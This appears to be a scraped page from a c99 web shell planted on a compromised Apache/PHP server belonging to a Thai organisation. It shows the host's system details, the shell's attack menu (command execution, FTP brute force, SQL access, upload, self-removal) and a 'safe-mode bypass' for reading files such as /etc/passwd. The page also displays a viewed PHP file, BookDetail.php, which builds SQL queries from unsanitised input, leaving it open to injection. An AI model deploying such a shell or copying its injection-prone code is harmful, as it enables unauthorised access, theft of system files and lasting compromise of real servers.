!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Develop_person_depart/ebook/   drwxr-xr-x
Free 52.38 GB of 127.8 GB (40.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BookDetail.php (7.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
include("../../include/FunctionDB.php");
  include(
"../../include/Function.php");
  
ConnectDB();
$sql "Select * From bookmant_tb Where code='$code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result)

?>

<html>
<head>
<title>ข้อมูลหนังสือ</title>
<link href="../../css/default.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="472" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="5"></td>
  </tr>
</table>
<table width="472" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="472" align="center" valign="top" class="PADDING-TOP-10"><fieldset>
            <table width="99%" border="0" align="center" cellpadding="0" cellspacing="1"  style="border:0px solid gray"size="12">
            <form id="form1" name="form1" method="post" action="">
              <tr bgcolor="#6699CC">
                <td height="25" colspan="3" align="center" bgcolor="#F0F0F0"><strong class="PATRON"><font face="Tahoma">แสดงรายละเอียด</font></strong></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span><font face="Tahoma">ชนิดของหนังสือ</font></span></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"><strong><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"$rs[Book_code] ";
      
?>
                </font></strong></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เลขททะเบียนรับ</font></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"><strong><font color="#000000" size="2" face="Tahoma">
                  <?php
            
echo"$rs[No]";
      
?>
                </font></strong></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td width="178" height="20" align="left"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">วันที่</font></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"><strong><font color="#000000" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma">
                  <?php 
       $sday 
$rs[Date_buy];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
 //    $month = TxtThaiMonth($month);
     
echo"$day"."/"."$month"."/"."$year";
    
?>
                </font><font color="#000000" size="2" face="Tahoma"> </font></strong></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เลขที่หนังสือ</font></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"></td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF"><strong><font color="#000000" size="2" face="Tahoma">
                <?php
            
echo"$rs[No_in]";
      
?>
                </font></strong></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">เรื่อง</font></td>
                <td width="2"  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td width="276" bgcolor="#FFFFFF" ><font color="#000000" size="2" face="Tahoma"> <? echo nl2br($rs[Status]) ?> </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma"><font face="Tahoma">ชื่อผู้รับ - ส่งหนังสือ</font></font></td>
                <td width="2"  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td width="276"  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
                  <?php
         $Teacher_code 
=  $rs["Teacher_code"];
         
$sql "Select * From personal_tb Where Teacher_code='$Teacher_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Teacher_name] $rss[Teacher_lastname]";
         
?>
                </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left" bgcolor="#FFFFFF" ><font face="Tahoma"><font face="Tahoma">ภาค / ฝ่าย </font></font></td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                  <?php
         $Faculty_code 
=  $rs["Faculty_code"];
         
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Faculty_name] ";
         
?>
                </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left" bgcolor="#FFFFFF" ><font face="Tahoma">ต้องการแจ้งบุคลากรทุกๆ คน </font></td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma"><? echo $rs[Statistic?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" align="left"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">จากหน่วยงาน</font></td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><font color="#993333" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma"><? echo $rs[Store_1?></font><font color="#000000" size="2" face="Tahoma">&nbsp; </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="29" align="left" nowrap bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font face="Tahoma">หมายเหตุ</font></td>
                <td bgcolor="#FFFFFF" ><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td bgcolor="#FFFFFF" ><font color="#000000" size="2" face="Tahoma"> <? echo nl2br($rs[Description]) ?></font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
              </tr></form>
            </table>
        </fieldset></td>
  </tr>
  <tr>
    <td height="35" align="center"><input type="button" name="Submit" value="ปิดหน้าต่าง" onClick="javascript:parent.close();" class="button1" /></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--